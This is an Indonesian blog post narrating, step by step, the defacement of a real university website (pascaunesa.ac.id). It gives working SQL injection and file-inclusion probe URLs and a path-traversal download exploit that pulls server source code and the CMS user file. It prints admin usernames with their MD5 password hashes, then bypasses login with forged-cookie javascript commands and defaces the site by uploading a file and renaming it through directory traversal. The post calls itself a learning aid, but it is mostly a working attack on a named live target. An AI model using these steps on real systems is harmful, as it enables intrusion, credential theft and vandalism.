[ step by step defacing pascaunesa.ac.id ]
Sedikit berbagi cerita tentang step by step defacing nih site. yang mungkin berguna untuk yang sedang belajar, sebagai tambahan belajar dan referensi. Juga untuk lebih meningkatkan keamanan site kita (buat yg sedang bikin site).
Bagi seseorang yang baru banget menginjak alam maya, biasanya sangat ingin tau bagaimana sih ngehack situs blablabla itu. Yang mereka butuhkan salah satunya adalah contoh nyata bagaimana melakukanya. Untuk Itulah artikel ini saya tulis, karena teknik yang digunakan bukan seperti teknik standart. Sehingga bisa menambah referensi untuk belajar. Dan juga untuk yang belajar mengamankan, semoga bisa mengantisipasi serangan seperti ini.
Berikut adalah step by step secara gamblang bagaimana melakukan deface ke site tersebut.
./prehistori
"nih site bikinan saya dengan cms paling kuat" <--- kata2 yang membikin menarik dan mendorong minat.
./first: meninjau tekape
langsung menuju tekape: http://pascaunesa.ac.id
browsing-browsing sambil melihat2 mungkin menemukan sesuatu yang menarik. seperti yang dilakukan orang-orang pada umumnya: klik-klik link yang ada. tetapi melakukan sesuatu yang juga umum dilakukan pas testing: memperhatikan url link-link dan mencoba menebak2 kemungkinan-kemungkinan serangan yang bisa di coba. ada beberapa link utama dibagian atas. sub link di bawah. link download, dll.
./second: mencoba kemungkinan sql injection
memperhatikan link seperti ini sangat menarik untuk mencoba serangan sql injection.
http://pascaunesa.ac.id/baca.php?subaction=showfull&id=1303284108&archive=&start_from=&ucat=1&
langsung di coba dengan melakukan beberapa injeksi:
Sedikit berbagi cerita tentang step by step defacing nih site. yang mungkin berguna untuk yang sedang belajar, sebagai tambahan belajar dan referensi. Juga untuk lebih meningkatkan keamanan site kita (buat yg sedang bikin site).
Bagi seseorang yang baru banget menginjak alam maya, biasanya sangat ingin tau bagaimana sih ngehack situs blablabla itu. Yang mereka butuhkan salah satunya adalah contoh nyata bagaimana melakukanya. Untuk Itulah artikel ini saya tulis, karena teknik yang digunakan bukan seperti teknik standart. Sehingga bisa menambah referensi untuk belajar. Dan juga untuk yang belajar mengamankan, semoga bisa mengantisipasi serangan seperti ini.
Berikut adalah step by step secara gamblang bagaimana melakukan deface ke site tersebut.
./prehistori
"nih site bikinan saya dengan cms paling kuat" <--- kata2 yang membikin menarik dan mendorong minat.
./first: meninjau tekape
langsung menuju tekape: http://pascaunesa.ac.id
browsing-browsing sambil melihat2 mungkin menemukan sesuatu yang menarik. seperti yang dilakukan orang-orang pada umumnya: klik-klik link yang ada. tetapi melakukan sesuatu yang juga umum dilakukan pas testing: memperhatikan url link-link dan mencoba menebak2 kemungkinan-kemungkinan serangan yang bisa di coba. ada beberapa link utama dibagian atas. sub link di bawah. link download, dll.
./second: mencoba kemungkinan sql injection
memperhatikan link seperti ini sangat menarik untuk mencoba serangan sql injection.
http://pascaunesa.ac.id/baca.php?subaction=showfull&id=1303284108&archive=&start_from=&ucat=1&
langsung di coba dengan melakukan beberapa injeksi:
http://pascaunesa.ac.id/baca.php?subaction=showfull&id=1303284108'&archive=&start_from=&ucat=1&
http://pascaunesa.ac.id/baca.php?subaction=showfull&id=1303284108"&archive=&start_from=&ucat=1&
http://pascaunesa.ac.id/baca.php?subaction=showfull&id=1303284108 and 1=2--&archive=&start_from=&ucat=1&
http://pascaunesa.ac.id/baca.php?subaction=showfull&id=1303284108&archive='&start_from=&ucat=1&
http://pascaunesa.ac.id/baca.php?subaction=showfull&id=1303284108&archive=1 and 1=2--&start_from=&ucat=1&
http://pascaunesa.ac.id/baca.php?subaction=showfull&id=1303284108&archive=&start_from=1'&ucat=1&
http://pascaunesa.ac.id/baca.php?subaction=showfull&id=1303284108&archive=&start_from=1 and 1=1--&ucat=1&
http://pascaunesa.ac.id/baca.php?subaction=showfull&id=1303284108&archive=&start_from=&ucat=1'&
http://pascaunesa.ac.id/baca.php?subaction=showfull&id=1303284108&archive=&start_from=&ucat=1 and 1=2--&
well, gak ada efek apa2.
./ada hal lain yang menarik, "subaction" mungkin adalah include ke file. coba lfi
http://pascaunesa.ac.id/baca.php?subaction=baca&id=1303284108&archive=&start_from=&ucat=1&
http://pascaunesa.ac.id/baca.php?subaction=baca&id=1303284108&archive=&start_from=&ucat=1&
http://pascaunesa.ac.id/baca.php?subaction=baca.php&id=1303284108&archive=&start_from=&ucat=1&
http://pascaunesa.ac.id/baca.php?subaction=../../../../../../../../../etc/passwd&id=1303284108&archive=&start_from=&ucat=1&
sama, kagak ngefek. malah balik ke index. udah di filer kali yak.
./klik link download, mgkn menemukan sesuatu yang menarik.
di dalem, hanya berisi list download, dengan link yang hampir sama seperti tadi. mencoba serangan yg mirip2. sama kagak ngefek.
mencoba melihat salah satu download-an nya.

dan setelah di klik

klik link nya. kemudian akan mendownload file. oke. dsini bisa di coba. perhatikan link nya (klik-kanan -> copy link location), hasilnya seperti ini:
http://www.pascaunesa.ac.id/content/file.php?file=FORMULIR_PENDAFTARAN_MAHASISWA_PPS_UNESA_2011_dual_degree.pdf
file=[NAMA FILE YANG DI DOWNLOAD] <--- kesimpulan sementara.
mungkin bisa di coba, kali aja beruntung file nya tidak di filter terlebih dahulu. saya akan mencoba mendownload file.php untuk menemukan sesuatu yang berguna. link saya rubah seperti ini:
http://www.pascaunesa.ac.id/content/file.php?file=file.php
setelah terdownload, buka dengan noteped/code editor favorite. Lihat apa yang kita temukan. Banyak error.
Warning: filesize() [function.filesize]: stat failed for ./data/fileUpload/file.php in /home/sloki/user/h92345/sites/pascaunesa.ac.id/www/content/file.php on line 25
Warning: Cannot modify header information - headers already sent by (output started at /home/sloki/user/h92345/sites/pascaunesa.ac.id/www/content/file.php:25) in /home/sloki/user/h92345/sites/pascaunesa.ac.id/www/content/file.php on line 25
Warning: readfile(./data/fileUpload/file.php) [function.readfile]: failed to open stream: No such file or directory in /home/sloki/user/h92345/sites/pascaunesa.ac.id/www/content/file.php on line 27
error? ya. error yang menguntungkan. banyak informasi yang kita dapatkan dan beberapa clue. mari kita bongkar dengan seksama dan hati yang tulus :)
*kita menemukan full path aplikasinya: /home/sloki/user/h92345/sites/pascaunesa.ac.id/www/content/file.php
*kita tau bahwa file.php membaca file yang kita masukkan di parameter file tadi: readfile(./data/fileUpload/file.php)
yang artinya, file.php membaca file yang di input melalui parameter file ( ?file=[FILE YG MAU DI DOWNLOAD] ) untuk kemudian di berikan kepada downloader.
./download file.php untuk mendapatkan info lebih banyak.
kita sudah mendapatkan path dari aplikasi nya, sekarang dengan mudah kita bisa mendownload file2 yang kita inginkan. saya ingin download file.php. maka saya akan membuat link nya seperti ini:
http://www.pascaunesa.ac.id/content/file.php?file=../../../../../../../../../../../../../home/sloki/user/h92345/sites/pascaunesa.ac.id/www/content/file.php
terrettt. dapat full source dari file.php. mari kita bongkar source nya. setelah di bongkar, saya menemukan bentuk kecacatan dari aplikasi ini. perhatikan line 7 sampai 9
$file = $_GET['file'];
$content_file_db = file($path_to_files_db);
$file_db = fopen($path_to_files_db, "w");
$file diisi dengan variable $_GET[file]; kemudian line 8 langsung membuka file tersebut. DAMN! inilah kecacatan nya, yaitu FILE LANGSUNG DI BUKA TANPA DI VERIFIKASI / VALIDASI TERLEBIH DAHULU. sehingga attacker bisa mendownload file apa aja yang di inginkan.
oke. mulai mendownload dan menelusuri file demi file. saya mulai dari direktori "content/" karena sepertinya menarik. saya buka dulu di browser: http://www.pascaunesa.ac.id/content/
dan muncul tulisan "Please Login". Ketemu halaman login administrator.

Menarik untuk di coba dengan jurus login bypass. langsung mencoba dengan injeksi user: ' or 1=1-- dan pass: ' or 1=1--
FAILED! kkwkwwkwkw
Lho kenapa failed? kita cari tau aja dengan melihat langsung ke source code nya. caranya, ya tinggal download aja file nya. Langsung:
http://www.pascaunesa.ac.id/content/file.php?file=../../../../../../../../../../../../../home/sloki/user/h92345/sites/pascaunesa.ac.id/www/content/index.php
mari kita bongkar source code nya.
ternyata pakai cms
--------------------------------------
***************************************************************************
CMS CutePHP.com
Copyright (C) 2005 Georgi Avramov (flexer@cutephp.com)
****************************************************************************
---------------------------------------
tatapan terhenti pada baris ke 26, sepertinya ini bagus:
$all_users_db = file("./data/users.db.php");
berbau seperti konfigurasi database. Langsung download aja.
http://www.pascaunesa.ac.id/content/file.php?file=../../../../../../../../../../../../../home/sloki/user/h92345/sites/pascaunesa.ac.id/www/content//data/users.db.php
siapa yang menyangka kalau isinya adalah login admin.
-----------------------------
1203986170|1|administrator|2cb42f8734ea607eefed3b70af13bbd3|||94|0||1303128971||
1282705682|1|pasca|1a9c1cd84abe564887cd17a50489d0e4|||53|0||1303379856||
1300874672|2|editor|577e6eb85269b5b099ce40942f54ad34|||1|0||1300874700||
-----------------------------
keliatan jelas klo di samping user itu adalah passwordnya. dihitung dari jumlah karakterya adalah 32, menandakan ini adalah md5. Mari kita googling md5 decrypter dan mencoba decrypt passwordnya. ....decrypt....decrypt.....decrypt....[sampe capek].... eh tetep kagak decrypted :(
cari celah terus. ada yang menarik di index.php tadi, perhatikan line 10:
require_once("./inc/functions.inc.php");
Sepertinya menarik untuk di bongkar. Langsung kita download dan bongkar isinya.
http://www.pascaunesa.ac.id/content/file.php?file=../../../../../../../../../../../../../home/sloki/user/h92345/sites/pascaunesa.ac.id/www/content/inc/functions.inc.php
Melihat baris demi baris, ada yg menarik di line ke 282-299:
function check_login($username, $md5_password){
$result = FALSE;
$full_member_db = file("./data/users.db.php");
global $member_db;
foreach($full_member_db as $member_db_line)
{
if(!eregi("<\?",$member_db_line)){
$member_db = explode("|",$member_db_line);
if(strtolower($member_db[2]) == strtolower($username) && $member_db[3] == $md5_password)
{
$result = TRUE;
break;
}
}
}
return $result;
}
sebuah function check login. Dari sini, terlihat jelas bahwa function ini menerima variable username dan md5_password dari script yang memanggil fungsi ini. dimana script ini? ya dihalaman login, yaitu index. kita lihat lagi isi index.php baris demi baris, cari yang memanggil function check_login. ketemu di line 87, 123, 141.
Kita lihat dari yang pertama, yaitu line 87. di line ini, variable username dan password sudah di definisikan dan sudah di panggil:
if(check_login($username, $cmd5_password))
kita harus menemukan bagaimana variable tersebut di bentuk. lihat keatas sedikit. perhatikan line 81-83:
if(isset($HTTP_COOKIE_VARS["md5_password"])){ $cmd5_password = $HTTP_COOKIE_VARS["md5_password"]; }
elseif(isset($_COOKIE["md5_password"])){ $cmd5_password = $_COOKIE["md5_password"]; }
else{ $cmd5_password = md5($password); }
Mari kita terjemahkan. "Jika isset (telah di set) cookie md5_password, maka $cmd5_password di ambilkan dari cookie md5_password yang bentuknya udah encrypted. kenapa saya mengatakan "udah encrypted" karena password tidak di encripsi lagi dan langsung di cek difunction checklogin.
dari sini, kita tau bahwa password di ambil dari cookies jika cookies ada. berikutnya, cari dimana username nya. gak perlu di cari berbelit, pake otak dikit juga tau klo password juga di taroh di cookies seperti password. Kesimpulanya;
jika username dan password ada di cookie, maka langsung ambil dari cookies tanpa perlu di enkripsi lagi. ya, kita udah dapat password dalam bentuk md5. jadi gak perlu mikir aneh2 lagi.
OKE. Dari sini kita menemukan kecacatan yang lain lagi, yaitu bentuk autentikasi dengan cookies. karena cookies terletak di client side, maka cookies dengan sangat mudah di manupilasi. cukup dengan javascript injection. Langsung kita buat cookies yg kita perlukan.
lihat dulu cookies nya
javascript:alert(document.cookie);
kosong kan?
mari kita buat cookies username dan md5_password dengan value seperti yang kita dapat dari file user.db.php tadi.
javascript:void(document.cookie="username=administrator");
javascript:void(document.cookie="md5_password=2cb42f8734ea607eefed3b70af13bbd3");
buat yang blm tau soal javascript injection, tuh command di run di browser. ketik aja di kotak address bar. hapus dulu isi adress bar nya, trus ketik injeksi seperti contoh diatas. setelah enter, emang kagak terasa ada efek apa2, gak perlu bingung. setelah selesai, kita lihat lagi cookies nya dengan command alert seperti di atas. sekarang cookies sudah oke. nah, terlihat kan rasa javascript injek nya.

langkah selanjutnya apa? tinggal buka aja url nya:
http://www.pascaunesa.ac.id/content/
dan pastikan dpt tampilan seperti ini:

terlihat gede banget tulisan "welcome administrator" yang rasanya sejuk dan melegakan serta bikin senyum :)
lanjut. cari sesuatu untuk mengupload sesuatu. dalam hal ini, saya tidak akan mengupload sebuah backdoor, karena sesuai judul (deface) yang tidak perlu backdoor sama sekali.
oke, langsung membuat sebuah file html. kasih nama apa aja. lalu upload melalui menu manage file. setelah di upload, coba buka. pasti error :P~
bukan gagal deface, tapi mungkin karena permission direktorinya yang un-executable. so, kita musti memindahkan file ke direktori yang executable. naikan ke index biar full homepage. tapi perbuatan seperti ini sangat jahat. jd saya gak perlu melakukanya. saya hanya akan memindahkan file ke direktori yang lain. caranya?
lihat tuh ada link rename yang berfungsi untuk merename file. so, kalau tadi file bernama sembarang.html, kita rename dengan menaikan direktorinya ke atas (direktori traversal). klik aja tombol rename di sambil file kita, trus naikan ke atas dengan mengisikan seperti ini:
../index.html

klik oke. dan buka: http://www.pascaunesa.ac.id/content/data/
oke. selanjutnya, cukup beri warning di homepage. buka homepage. lihat apa yang tampak. terlihat pengumuman besar banget.
di admin home, ada menu active news. sepertinya ini yg tampil di depan. mari kita edit. dan ternyata memang ini yg tampil di depan. oke, kita edit dikit, beri warning. jgn full depes. gak bagus buat kesehatan. abis itu save. lalu lihat di homepage nya.
./mission completed!
permintaan udah terpenuhi. klik logout.
0 sok atuh ngoment:
Posting Komentar
komen sebanyak-banyaknya